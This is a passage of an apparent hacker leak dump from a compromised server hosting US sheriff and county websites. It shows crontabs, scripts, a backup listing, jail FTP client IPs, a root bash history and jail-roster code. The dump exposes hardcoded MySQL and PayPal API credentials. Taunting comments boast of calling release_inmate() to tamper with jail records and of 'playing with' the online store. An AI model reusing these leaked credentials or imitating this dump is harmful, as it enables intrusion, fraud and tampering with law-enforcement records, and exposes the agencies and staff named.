  1722. "watermark_wanted_photo.php" -e "checkimages.php" | mail -s "Go Daddy - Upload
  1723. Scanner" -c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root
  1724. 0 1 * * * /backup/mail_logs/parse_mail_log.sh
  1725. 1 0 * * * /usr/bin/php
  1726. /var/www/vhosts/grantcountyar.com/httpdocs/cron/purge_events.php
  1727. 1 0 * * * /usr/bin/php
  1728. /var/www/vhosts/crosscountyar.org/httpdocs/cron/purge_events.php
  1729. 1 0 * * * /usr/bin/php
  1730. /var/www/vhosts/izardhometownhealth.com/httpdocs/cron/purge_events.php
  1731. 1 0 * * * /usr/bin/php
  1732. /var/www/vhosts/crosscountysheriff.org/httpdocs/cron/purge_events.php
  1733. 1 0 * * * /usr/bin/php
  1734. /var/www/vhosts/cityofwynne.com/httpdocs/cron/purge_events.php
  1735. 1 0 * * * /usr/bin/php
  1736. /var/www/vhosts/boonecountyar.com/httpdocs/cron/purge_events.php
  1737. 1 0 * * * /usr/bin/php
  1738. /var/www/vhosts/barrycountysheriff.com/httpdocs/cron/purge_wanted.php
  1739. 1 0 * * * /usr/bin/php
  1740. /var/www/vhosts/izardcountyar.org/httpdocs/cron/purge_events.php
  1741. 1 0 * * * /usr/bin/php
  1742. /var/www/vhosts/mosheriffs.com/httpdocs/cron/cron.php
  1743. 1 0 * * * /usr/bin/php
  1744. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/cron/purge_events.php
  1745. 1 0 * * * /usr/bin/php
  1746. /var/www/vhosts/knoxcountysheriffil.com/httpdocs/cron/purge_events.php
  1747. */2 * * * * /usr/bin/php
  1748. /var/www/vhosts/gra_upload_scanner.php >/dev/null 2>&1
  1749. 0 1 * * *
  1750. /var/www/vhosts/mostwantedwebsites.net/subdomains/code/httpdocs/search/cron.sh
  1751. >/dev/null
  1752. #
  1753. # BCSD Site Search Cron
  1754. 0 1 * * * cd
  1755. /var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/ && /usr/bin/php
  1756. /var/www/vhosts/baxtercountysheriff.com/httpdocs/search/admin/spider.php -u
  1757. http://baxtercountysheriff.com/ -r -n
  1758. http://baxtercountysheriff.com/warrants.php?find=all >/dev/null 2>&1
  1759. #
  1760. # CRCSD Site Search Cron
  1761. 5 1 * * * cd
  1762. /var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/ && /usr/bin/php
  1763. /var/www/vhosts/crosscountysheriff.org/httpdocs/search/admin/spider.php -u
  1764. http://crosscountysheriff.org/ -r -n
  1765. http://crosscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1766. #
  1767. #
  1768. # MCSD Site Search Cron
  1769. 10 1 * * * cd
  1770. /var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/ && /usr/bin/php
  1771. /var/www/vhosts/marioncountysheriffar.com/httpdocs/search/admin/spider.php -u
  1772. http://marioncountysheriffar.com/ -r -n
  1773. http://marioncountysheriffar.com/warrants.php?find=all >/dev/null 2>&1
  1774. #
  1775. #
  1776. # SFSOAR Site Search Cron
  1777. 15 1 * * * cd
  1778. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/ &&
  1779. /usr/bin/php
  1780. /var/www/vhosts/stfranciscountysheriff.org/httpdocs/search/admin/spider.php -u
  1781. http://stfranciscountysheriff.org/ -r -n
  1782. http://stfranciscountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1783. #
  1784. #
  1785. # GCSOMS Site Search Cron
  1786. 0 1 * * * cd
  1787. /var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/ && /usr/bin/php
  1788. /var/www/vhosts/georgecountymssheriff.com/httpdocs/search/admin/spider.php -u
  1789. http://georgecountymssheriff.com/ -r -n
  1790. http://georgecountymssheriff.com/warrants.php?find=all >/dev/null 2>&1
  1791. #
  1792. #
  1793. # CPSOLA Site Search Cron
  1794. 0 1 * * * cd
  1795. /var/www/vhosts/cameronso.org/httpdocs/search/admin/ && /usr/bin/php
  1796. /var/www/vhosts/cameronso.org/httpdocs/search/admin/spider.php -u
  1797. http://cameronso.org/ -r -n http://cameronso.org/warrants.php?find=all
  1798. >/dev/null 2>&1
  1799. #
  1800. #
  1801. # MCSOGA Site Search Cron
  1802. 0 1 * * * cd
  1803. /var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/ &&
  1804. /usr/bin/php
  1805. /var/www/vhosts/meriwethercountysheriff.org/httpdocs/search/admin/spider.php -u
  1806. http://meriwethercountysheriff.org/ -r -n
  1807. http://meriwethercountysheriff.org/warrants.php?find=all >/dev/null 2>&1
  1808. #
  1809. 47 23 * * * /usr/sbin/ntpdate -b -s time.nist.gov
  1810. #!/bin/sh
  1811.  
  1812. PASSWORD=`cat /etc/psa/.psa.shadow`
  1813.  
  1814. mysqldump -u admin -p$PASSWORD --all-databases --add-drop-table |gzip -v9 >
  1815. /root/mysql_backup.sql.gz
  1816. #!/bin/bash
  1817. #
  1818. # Scan for PHP in upload folders
  1819. #
  1820. MAILTO="-c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root"
  1821. EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
  1822. watermark_recalled_photo.php"
  1823. lineify (){
  1824. for i in $*
  1825. do
  1826. echo $i
  1827. done
  1828. }
  1829. # testing
  1830. #EXCLUDES="numnum"
  1831. #MAILTO="jwiegand@bjmweb.com"
  1832. #
  1833. UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
  1834. grep -v $EXCLUDES)
  1835. if [ "${UHOH}xx" != "xx" ]
  1836. then
  1837. lineify $UHOH | mail -s "Go Daddy - Upload Scanner" $MAILTO
  1838. fi
  1839.  
  1840.  
  1841. // HARDCODED MYSQL ROOT PASSWORDS... THE SIGN OF ANY SECURE SYSADMIN
  1842.  
  1843. # cat ~root/MASS_PASS/masspass.php
  1844.  
  1845. <?php
  1846. error_reporting(0);
  1847. if(php_sapi_name() == 'cli' && empty($_SERVER['REMOTE_ADDR'])) {
  1848. echo md5('Y9BNtSeb').PHP_EOL;
  1849. //custom safe_query, should work like normal, just allows passing of custom
  1850. connect
  1851. function safe_query($q, $u='', $p='', $d='', $s='localhost'){
  1852. $l = mysql_connect($s,$u,$p) or die("ERROR: Could not connect with USER:
  1853. $u PASS: $p ".PHP_EOL.mysql_error);
  1854. if($d != ''){
  1855. mysql_select_db($d,$l) or die("ERROR: Could not select DATABASE:
  1856. $d".PHP_EOL);
  1857. }
  1858. $r = mysql_query($q,$l)/* or die("ERROR: Could not execute QUERY: $q
  1859. ".PHP_EOL.mysql_error()) */;
  1860. return $r;
  1861. }
  1862.  
  1863. $GD_USER = 'admin';
  1864. $GD_PASS = '8w667nHzx%XFXb';
  1865. $GD_SERV = 'localhost';
  1866.  
  1867. $options = getopt("n::o::");
  1868.  
  1869. $query = 'SHOW DATABASES';
  1870.  
  1871. $result = safe_query($query, $GD_USER, $GD_PASS, '', $GD_SERV);
  1872.  
  1873. while($row = mysql_fetch_array($result,MYSQL_NUM)){
  1874.  
  1875. $query = 'SELECT password FROM dymin_user WHERE username = "bjm"';
  1876. $r = safe_query($query, $GD_USER, $GD_PASS, $row[0], $GD_SERV);
  1877. echo $row[0].' - '.mysql_result($r,0,'password').PHP_EOL;
  1878. if(isset($options['n']) && isset($options['o'])){
  1879. //echo 'UPDATE dymin_user SET password =
  1880. "'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
  1881. "'.mysql_escape_string($options['o']).'"'.PHP_EOL;
  1882. safe_query('UPDATE dymin_user SET password =
  1883. "'.mysql_escape_string($options['n']).'" WHERE username = "bjm" AND password =
  1884. "'.mysql_escape_string($options['o']).'"', $GD_USER, $GD_PASS, '', $GD_SERV);
  1885. }
  1886. }
  1887.  
  1888. }else{
  1889. echo 'This script can only be ran from the command line!'.PHP_EOL;
  1890. exit();
  1891. }
  1892. ?>
  1893.  
  1894. // GOTTA MAKE SURE TO RM -RF THIS PART FIRST
  1895.  
  1896. # ls -al /backup
  1897.  
  1898. total 318424
  1899. drwxr-xr-x 9 root root 4096 Jul 14 11:30 .
  1900. drwxr-xr-x 26 root root 4096 Feb 22 22:21 ..
  1901. -rw-r--r-- 1 root root 17015 Jul 14 2010 ActiveWarrantsList.txt.back
  1902. -rw-r--r-- 1 root root 175 May 12 09:36 BCSD_PARSE_XML
  1903. drwxrwxrwx 2 root root 4096 Jun 29 18:23 BOCS_WARRANTS
  1904. drwxrwxrwx 2 root root 4096 Jun 29 18:24 CRCSD_WARRANTS
  1905. -rwxrwxrwx 1 root root 20852332 Jul 22 22:20 JONMS_INMATE_ROSTER.log
  1906. -rw-r--r-- 1 root root 90737 Mar 2 08:50 JONMS_INMATE_ROSTER.log.2.gz
  1907. -rwxrwxrwx 1 root root 324196 Feb 7 09:20 JONMS_INMATE_ROSTER.log.gz
  1908. -rwxrwxrwx 1 root root 286813 Oct 28 2010 JONMS_INMATE_ROSTER.log.gz.0
  1909. -rwxrwxrwx 1 root root 88758 Aug 10 2010 JONMS_INMATE_ROSTER.log.gz.1
  1910. -rw-r--r-- 1 root root 13864960 Apr 21 08:19 POALAC04212011.tar
  1911. -rw-r--r-- 1 root root 10833920 Mar 7 16:53 POALAC_BACKUP.tar
  1912. -rw-r--r-- 1 root root 13864960 Apr 20 16:09 POALAC_BACKUP_04202011.tar
  1913. drwxrwxrwx 2 root root 4096 Jun 29 18:24 SFSOAR_WARRANTS
  1914. -rw-r--r-- 1 root root 68177920 May 3 09:47 arsa.05032011.tar
  1915. drwxr-xr-x 3 root root 4096 Apr 21 11:06 bcsd
  1916. -rw-r--r-- 1 root root 55494137 Jul 22 22:20 crcsd_query_log.txt
  1917. -rw-r--r-- 1 root root 1080247 Apr 7 13:05 crcsd_query_log.txt.04072011.gz
  1918. -rwxrwxrwx 1 root root 4181055 Feb 7 09:25 crcsd_query_log.txt.gz
  1919. -rw-r--r-- 1 root root 116504777 Jul 22 22:15 jcsoks_inamte_parse_log.txt
  1920. -rw-r--r-- 1 root root 527887 Apr 7 13:00
  1921. jcsoks_inamte_parse_log.txt.04072011.gz
  1922. -rwxrwxrwx 1 root root 1568892 Feb 7 09:15 jcsoks_inamte_parse_log.txt.gz
  1923. -rw-r--r-- 1 root root 411831 Sep 13 2010 jcsoks_inamte_parse_log.txt.gz.0
  1924. -rwxrwxrwx 1 root root 736089 Feb 8 13:44 jcsoks_query_log.txt.gz
  1925. -rw-r--r-- 1 root root 12029931 Jul 22 22:20 johms_parse_log.txt
  1926. -rw-r--r-- 1 root root 52276 Jun 14 13:30 johms_parse_log.txt.06142011.gz
  1927. -rw-r--r-- 1 root root 24206 Mar 18 10:55 johms_parse_log.txt.gz
  1928. drwxr-xr-x 2 root root 4096 Jul 22 01:00 mail_logs
  1929. drwxr-xr-x 4 root root 4096 Jul 6 2010 parse_logs
  1930. drwx------ 13 root root 4096 Feb 23 00:50 snapshots
  1931. -rw-r--r-- 1 root root 3680191 Jul 22 22:21 stoms_parse_log.txt
  1932. -rw-r--r-- 1 root root 890880 Mar 2 09:18 z
  1933.  
  1934.  
  1935. // NOW THIS LOOKS INTERESTING
  1936. // YOU BETTER BELIEVE WE CALLED release_inmate() MORE THAN A FEW TIMES
  1937.  
  1938. # cat /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  1939.  
  1940. <?
  1941. if(date('d') == '1' && date('H') < '2'){
  1942. shell_exec('rm /backup/johms_parse_log.txt');
  1943. }
  1944.  
  1945. function safe_query($query){
  1946. $link = mysql_connect('localhost','johms','4smhoj2');
  1947. mysql_select_db('JOHMS',$link);
  1948. return mysql_query($query,$link);
  1949. }
  1950. function parse_csv($filename,$target_table,$field_map){
  1951. $file = file($filename);
  1952. $inmates = array();
  1953. foreach($file as $line_num => $line_data){
  1954. $query = 'INSERT INTO '.$target_table.' SET ';
  1955. $line_data = explode(',',$line_data);
  1956. $i=0;
  1957. $inmates[] = $line_data[0];
  1958. foreach($field_map as $field_num => $db_field){
  1959. if($db_field == 'booking_date'){
  1960. $line_data[$field_num] =
  1961. date('Y-m-d',strtotime($line_data[$field_num])).'", booking_time =
  1962. "'.substr($line_data[$field_num],-8).'';
  1963. //echo $line_data[$field_num],PHP_EOL;
  1964. }
  1965. if($i != 0){
  1966. $query .= ', '.$db_field.' = "'.$line_data[$field_num].'"';
  1967. }else{
  1968. $query .= $db_field.' = "'.$line_data[$field_num].'"';
  1969. }
  1970. $i++;
  1971. }
  1972. //echo $query,PHP_EOL;
  1973.  
  1974. safe_query($query);
  1975. unset($query);
  1976. }
  1977. return $inmates;
  1978. }
  1979.  
  1980. function release_inmate($booking_num){
  1981. $date = date("Y-m-d");
  1982. $time = date("Hi");
  1983. $query = "update dymin_jail_roster set release_date = '$date',
  1984. release_time = '$time' where booking_num = '$booking_num'";
  1985. safe_query($query);
  1986. }
  1987.  
  1988. function is_in_jail($booking_number){
  1989. $query = "select booking_num from dymin_jail_roster where booking_num =
  1990. '$booking_number'";
  1991. $result = safe_query($query);
  1992. $num = mysql_num_rows($result);
  1993. if($num == ''){return false;}else{return true;}
  1994. }
  1995.  
  1996. function build_old_inmates(){
  1997. $inmates = array();
  1998. $r = safe_query('SELECT * FROM dymin_jail_roster WHERE release_date =
  1999. ""');
  2000. while($row = mysql_fetch_array($r)){
  2001. $inmates[] = $row['booking_num'];
  2002. }
  2003. return $inmates;
  2004. }
  2005.  
  2006. function build_new_inmates(){
  2007. $inmates = array();
  2008. $file =
  2009. file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt');
  2010. foreach($file as $line => $data){
  2011. $inmates[] = array_shift(explode(',',$data));
  2012. }
  2013. if(sizeof($inmates)<1){
  2014. echo PHP_EOL,date('m/d/Y H:i:s'),' -- Roster File was
  2015. Empty',PHP_EOL;
  2016. die();
  2017. }
  2018. return $inmates;
  2019. }
  2020.  
  2021. function remove_old_inmates(){
  2022. $now = time();
  2023. $forty_eight_hours_ago = date('Y-m-d', mktime(0, 0, 0, date("m", $now)
  2024. , date("d", $now)-2, date("Y", $now)));
  2025. $query = "select booking_num, image1 from dymin_jail_roster where
  2026. release_date <= '$forty_eight_hours_ago' and release_date != ''";
  2027. $result = safe_query($query);
  2028. while($row = mysql_fetch_array($result,MYSQL_ASSOC)){
  2029. shell_exec('rm -f
  2030. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$row['image1
  2031. ']);
  2032. $query_charges = 'delete from dymin_jail_roster_charges where
  2033. booking_num = "'.$row['booking_num'].'"';
  2034. safe_query($query_charges);
  2035. $query_inmate = 'delete from dymin_jail_roster where booking_num =
  2036. "'.$row['booking_num'].'"';
  2037. safe_query($query_inmate);
  2038. }
  2039. }
  2040.  
  2041. $field_map[0] = 'booking_num';
  2042. $field_map[2] = 'age';
  2043. $field_map[3] = 'gender';
  2044. $field_map[4] = 'race';
  2045. $field_map[5] = 'first_name';
  2046. $field_map[6] = 'middle_name';
  2047. $field_map[7] = 'last_name';
  2048. $field_map[8] = 'booking_date';
  2049. $field_map[9] = 'arresting_agency';
  2050. $field_map[10] = 'image1';
  2051. if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
  2052. && filesize('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt') !=
  2053. '4096'){
  2054. $OLDinmates = build_old_inmates();
  2055. $NEWinmates = build_new_inmates();
  2056. //print_r($OLDinmates);
  2057. foreach($OLDinmates as $key => $booking_number){
  2058. if(!in_array($booking_number,$NEWinmates)){
  2059. echo $booking_number,PHP_EOL;
  2060. print_r($NEWinmates);
  2061. echo PHP_EOL;
  2062. release_inmate($booking_number);
  2063. }
  2064. }
  2065. safe_query('DELETE FROM dymin_jail_roster WHERE release_date = ""');
  2066. parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
  2067. txt','dymin_jail_roster',$field_map);
  2068. }
  2069. unset($field_map);
  2070. $field_map[0] = 'booking_num';
  2071. $field_map[1] = 'charge';
  2072. $field_map[2] = 'bond';
  2073.  
  2074. if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
  2075. RosterChargesExport.txt')){
  2076. safe_query('DELETE FROM dymin_jail_roster_charges');
  2077. safe_query('UPDATE dymin_jail_roster SET charges = "" WHERE release_date
  2078. = ""');
  2079. parse_csv('/var/www/vhosts/jocomosheriff.org/home/Export/
  2080. RosterChargesExport.txt','dymin_jail_roster_charges',$field_map);
  2081.  
  2082.  
  2083. $q = 'SELECT * FROM dymin_jail_roster_charges';
  2084. $r = safe_query($q);
  2085.  
  2086. while($row = mysql_fetch_array($r)){
  2087. $q = 'UPDATE dymin_jail_roster SET charges =
  2088. CONCAT(charges,"'.$row['charge'].'<br>") WHERE release_date = "" AND booking_num
  2089. = "'.$row['booking_num'].'"';
  2090. safe_query($q);
  2091. //echo $q,PHP_EOL;
  2092. }
  2093.  
  2094. $q = 'SELECT * FROM dymin_jail_roster';
  2095. $r = safe_query($q);
  2096.  
  2097. while($row = mysql_fetch_array($r,MYSQL_ASSOC)){
  2098. $q = 'UPDATE dymin_jail_roster SET bond = (SELECT sum(bond) FROM
  2099. dymin_jail_roster_charges WHERE booking_num = "'.$row['booking_num'].'") WHERE
  2100. booking_num = "'.$row['booking_num'].'" AND release_date = ""';
  2101. safe_query($q);
  2102. //echo $q,PHP_EOL;
  2103. }
  2104. }
  2105. remove_old_inmates();
  2106.  
  2107. if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt')
  2108. ){
  2109. $file = '/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.txt';
  2110. $newfile =
  2111. '/var/www/vhosts/jocomosheriff.org/home/export_backup/RosterExport_'.date('
  2112. Y_m_d_His').'.txt';
  2113. if (!copy($file, $newfile)) {
  2114. echo "failed to copy $file...\n";
  2115. }else{
  2116. unlink('/var/www/vhosts/jocomosheriff.org/home/Export/RosterExport.
  2117. txt');
  2118. if(is_file('/var/www/vhosts/jocomosheriff.org/home/Export/
  2119. RosterChargesExport.txt')){
  2120. unlink('/var/www/vhosts/jocomosheriff.org/home/Export/
  2121. RosterChargesExport.txt');
  2122. }
  2123. }
  2124. }
  2125. //shell_exec('cp -rpufT
  2126. /var/www/vhosts/jocomosheriff.org/home/Export/Images/
  2127. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2128. //shell_exec('mogrify -resize 200x200
  2129. /var/www/vhosts/jocomosheriff.org/home/Export/Images/*.jpg');
  2130. //shell_exec('mogrify -resize 200x200
  2131. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/*.jpg');
  2132. shell_exec('chmod -R 777
  2133. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2134. shell_exec('chown -R root:root
  2135. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized');
  2136. $files = scandir('/var/www/vhosts/jocomosheriff.org/home/Export/Images/');
  2137. foreach($files as $k => $v){
  2138. if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
  2139. $q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
  2140. if(mysql_num_rows(safe_query($q)) > 0){
  2141. if(!is_file('/var/www/vhosts/jocomosheriff.org/httpdocs/images/
  2142. inmates/resized/'.$v)){
  2143. shell_exec('cp -rpufT
  2144. /var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.'
  2145. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2146. echo 'Copied -
  2147. '.'/var/www/vhosts/jocomosheriff.org/home/Export/Images/'.$v.' TO
  2148. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v.PHP_EOL;
  2149. }
  2150. }else{
  2151. //do nothing for now
  2152. }
  2153. }
  2154. //echo $v.'<br>';
  2155. }
  2156. $files =
  2157. scandir('/var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/');
  2158. foreach($files as $k => $v){
  2159. if(strpos($v,'.JPG') !== false || strpos($v,'.jpg') !== false){
  2160. $q = 'SELECT * FROM dymin_jail_roster WHERE image1 LIKE "%'.$v.'%"';
  2161. if(mysql_num_rows(safe_query($q)) > 0){
  2162. echo $v.' - Valid Image'.PHP_EOL;
  2163. shell_exec('mogrify -resize 200x200
  2164. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2165. }else{
  2166. //shell_exec('rm -f
  2167. /var/www/vhosts/jocomosheriff.org/httpdocs/images/inmates/resized/'.$v);
  2168. //shell_exec('rm -f
  2169. /var/www/vhosts/jocomosheriff.org/home/Export/'.$v);
  2170. echo 'Removing - '.$v.PHP_EOL;
  2171. }
  2172. }
  2173. //echo $v.'<br>';
  2174. }
  2175. echo PHP_EOL,date('m/d/Y H:i:s'),' -- Finished',PHP_EOL;
  2176. ?>
  2177.  
  2178.  
  2179.  
  2180. # last > last.txt; wc last.txt
  2181. 78726 787247 6061786 last.txt
  2182.  
  2183. // WHY YES THESE ARE JAIL IPS SYNCING THEIR INMATE ROSTER FILES TO THE WEB
  2184.  
  2185. # head -n 5 last.txt
  2186. jonms_sy ftpd8479 173.166.203.165 Sat Jul 23 14:43 - 14:43 (00:00)
  2187. pcsoks_s ftpd8064 24.248.200.101 Sat Jul 23 14:40 - 14:40 (00:00)
  2188. pcsoks_s ftpd8056 24.248.200.101 Sat Jul 23 14:40 - 14:40 (00:00)
  2189. pcsoks_s ftpd8054 24.248.200.101 Sat Jul 23 14:40 - 14:40 (00:00)
  2190. jonms_sy ftpd3730 173.166.203.165 Sat Jul 23 14:28 - 14:28 (00:00)
  2191.  
  2192. // JUST IN CASE ANYONE WANTED TO PLAY WITH THEIR ONLINE STORE. WE SURE DID
  2193.  
  2194. # cat /var/www/vhosts/mosheriffs.com/httpdocs/checkout/constants.php
  2195.  
  2196. <?php
  2197.  
  2198. define('API_TEST_MODE',false);
  2199.  
  2200. /****************************************************
  2201. constants.php
  2202.  
  2203. This is the configuration file for the samples.This file
  2204. defines the parameters needed to make an API call.
  2205.  
  2206. PayPal includes the following API Signature for making API
  2207. calls to the PayPal sandbox:
  2208.  
  2209. API Username sdk-three_api1.sdk.com
  2210. API Password QFZCWN5HZM8VBG7Q
  2211. API Signature A-IzJhZZjhg29XQ2qnhapuwxIDzyAZQ92FRP5dqBzVesOkzbdUONzmOU
  2212.  
  2213. Called by CallerService.php.
  2214. ****************************************************/
  2215.  
  2216. /**
  2217. # API user: The user that is identified as making the call. you can
  2218. # also use your own API username that you created on PayPal�s sandbox
  2219. # or the PayPal live site
  2220. */
  2221.  
  2222. if(!API_TEST_MODE){
  2223. define('API_USERNAME', 'info_api1.mosheriffs.com');
  2224. }else{
  2225. define('API_USERNAME', 'galexa_1252510976_biz_api1.bjmweb.com');
  2226. }
  2227. /**
  2228. # API_password: The password associated with the API user
  2229. # If you are using your own API username, enter the API password that
  2230. # was generated by PayPal below
  2231. # IMPORTANT - HAVING YOUR API PASSWORD INCLUDED IN THE MANNER IS NOT
  2232. # SECURE, AND ITS ONLY BEING SHOWN THIS WAY FOR TESTING PURPOSES
  2233. */
  2234.  
  2235. if(!API_TEST_MODE){
  2236. define('API_PASSWORD', 'X376UUNKW9C665M5');
  2237. }else{
  2238. define('API_PASSWORD', '1252510985');
  2239. }
  2240. /**
  2241. # API_Signature:The Signature associated with the API user. which is generated
  2242. by paypal.
  2243. */
  2244.  
  2245. if(!API_TEST_MODE){
  2246. define('API_SIGNATURE',
  2247. 'AJabrMjdeOUS3ztu4b5tguA358YTAyJmntUHr637CjsXE1pjKGM9MsOH');
  2248. }else{
  2249. define('API_SIGNATURE',
  2250. 'AFcWxV21C7fd0v3bYYYRCpSSRl31AmSHW7t6qw42Zz2AE42uyKKvCZBA');
  2251. }
  2252. /**
  2253. # Endpoint: this is the server URL which you have to connect for submitting your
  2254. API request.
  2255. */
  2256.  
  2257. if(!API_TEST_MODE){
  2258. define('API_ENDPOINT', 'https://api-3t.paypal.com/nvp');
  2259. }else{
  2260. define('API_ENDPOINT', 'https://api-3t.sandbox.paypal.com/nvp');
  2261. }
  2262. /**
  2263. USE_PROXY: Set this variable to TRUE to route all the API requests through
  2264. proxy.
  2265. like define('USE_PROXY',TRUE);
  2266. */
  2267. define('USE_PROXY',FALSE);
  2268. /**
  2269. PROXY_HOST: Set the host name or the IP address of proxy server.
  2270. PROXY_PORT: Set proxy port.
  2271.  
  2272. PROXY_HOST and PROXY_PORT will be read only if USE_PROXY is set to TRUE
  2273. */
  2274. define('PROXY_HOST', '127.0.0.1');
  2275. define('PROXY_PORT', '808');
  2276.  
  2277. /* Define the PayPal URL. This is the URL that the buyer is
  2278. first sent to to authorize payment with their paypal account
  2279. change the URL depending if you are testing on the sandbox
  2280. or going to the live PayPal site
  2281. For the sandbox, the URL is
  2282. https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=
  2283. For the live site, the URL is
  2284. https://www.paypal.com/webscr&cmd=_express-checkout&token=
  2285. */
  2286.  
  2287. define('PAYPAL_URL',
  2288. 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token=');
  2289.  
  2290. /**
  2291. # Version: this is the API version in the request.
  2292. # It is a mandatory parameter for each API request.
  2293. # The only supported value at this time is 2.3
  2294. */
  2295.  
  2296. define('VERSION', '59.0');
  2297.  
  2298. ?><?
  2299. session_start();
  2300. include "../config/header.php";
  2301. include "../admin/config/classes/training_academy.php";
  2302. $ta = new training_class('academy');
  2303. $page = new training_class('academy');
  2304. ?>
  2305.  
  2306.  
  2307. // HERE COMES THE BORING PART
  2308.  
  2309. # cat ~root/.bash_history
  2310.  
  2311.  
  2312. less
  2313. /var/www/vhosts/crosscountysheriff.org/httpdocs/admin/modules/warrants/classes/
  2314. warrant_parser.php
  2315. ll
  2316. cd /var/www/vhosts/stfranciscountysheriff.org/
  2317. ll
  2318. cd home/
  2319. ll
  2320. crontab -l
  2321. crontab -l
  2322. /usr/bin/php /var/www/vhosts/stfranciscountysheriff.org/home/warrant_parser.php
  2323. ll
  2324. cd /var/log/
  2325. ll
  2326. less messages | grep 'sfsoar'
  2327. less messages | grep 'sf
  2328. '
  2329. less messages | grep 'stfrancis'
  2330. less messages | grep '16610'
  2331. less messages | grep 'Cross County'
  2332. less messages | grep 'crosscounty'
  2333. less messages | grep 'stfrancis'
  2334. less messages | grep 'boonesheriff'
  2335. l
  2336. ll
  2337. less secure | grep 'sfsoar'
  2338. cd /var/www/vhosts/crosscountysheriff.org/
  2339. cd home/
  2340. ll
  2341. cd Cross\ County/
  2342. ll
  2343. pwd
  2344. cd /var/sql_logs/
  2345. ll
  2346. ll -h
  2347. mkdir -m 755 backup
  2348. ll
  2349. gzip baxtercountysheriff.com
  2350. ll
  2351. gzip mosheriffs.com
  2352. ll
  2353. ll
  2354. mv mosheriffs.com.gz backup/
  2355. ll
  2356. mv baxtercountysheriff.com.gz backup/
  2357. ll
  2358. cd backup/
  2359. ll
  2360. ll -h
  2361. cd ..
  2362. ll
  2363. ll -h
  2364. ll
  2365. cd /var/www/vhosts/jocomosheriff.org/
  2366. cd home/
  2367. ll
  2368. ll
  2369. cd Export/
  2370. ll
  2371. cd Images/
  2372. ll
  2373. cd ..
  2374. ll
  2375. cd ..
  2376. ll
  2377. crontab -l
  2378. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2379. ll
  2380. vi parse_roster.php
  2381. cd Export/
  2382. ll
  2383. cd Images/
  2384. ll
  2385. cd ..
  2386. cd ..
  2387. ll
  2388. cd /var/www/vhosts/boonesheriff.com/
  2389. ll
  2390. cd home/
  2391. ll
  2392. less ActiveWarrantsList.txt
  2393. top
  2394. cd /var/www/vhosts/jocomosheriff.org/home/
  2395. ll
  2396. cd Export/
  2397. ll
  2398. cd ..
  2399. ll
  2400. vi parse_roster.php
  2401. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2402. vi /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2403. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2404. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2405. /usr/bin/php /var/www/vhosts/jocomosheriff.org/home/parse_roster.php
  2406. cd /var/www/vhosts/crosscountysheriff.org/
  2407. ll
  2408. cd home/
  2409. ll
  2410. cd Cross\ County/
  2411. ll
  2412. cd ..
  2413. ll
  2414. cd Cross\ County/
  2415. ll
  2416. less warrant_parser.php
  2417. cd /backup
  2418. ll
  2419. mkdir -m 777 CRCSD_WARRANTS
  2420. ll
  2421. cd CRCSD_WARRANTS/
  2422. ll
  2423. pwd
  2424. ll
  2425. ll
  2426. crontab -l
  2427. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2428. County/warrant_parser.php
  2429. ll
  2430. less warrant_query.sql
  2431. cd ..
  2432. ll
  2433. pwd
  2434. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2435. County/warrant_parser.php
  2436. /usr/bin/php /var/www/vhosts/crosscountysheriff.org/home/Cross\
  2437. County/warrant_parser.php
  2438. cd CRCSD_WARRANTS/
  2439. ll
  2440. rm warrant_query.sql
  2441. cd ..
  2442. ll
  2443. rm warrant_query.sql
  2444. ll
  2445. cd CRCSD_WARRANTS/
  2446. ll
  2447. ll
  2448. ll -h
  2449. ll
  2450. ll
  2451. ll
  2452. cd ..
  2453. mkdir -m 777 BOCS_WARRANTS
  2454. ll
  2455. mkdir -m 777 SFSOAR_WARRANTS
  2456. ll
  2457. du -sh
  2458. du -sh ./
  2459. du -sh ./*
  2460. ll
  2461. ll
  2462. cd SFSOAR_WARRANTS/
  2463. ll
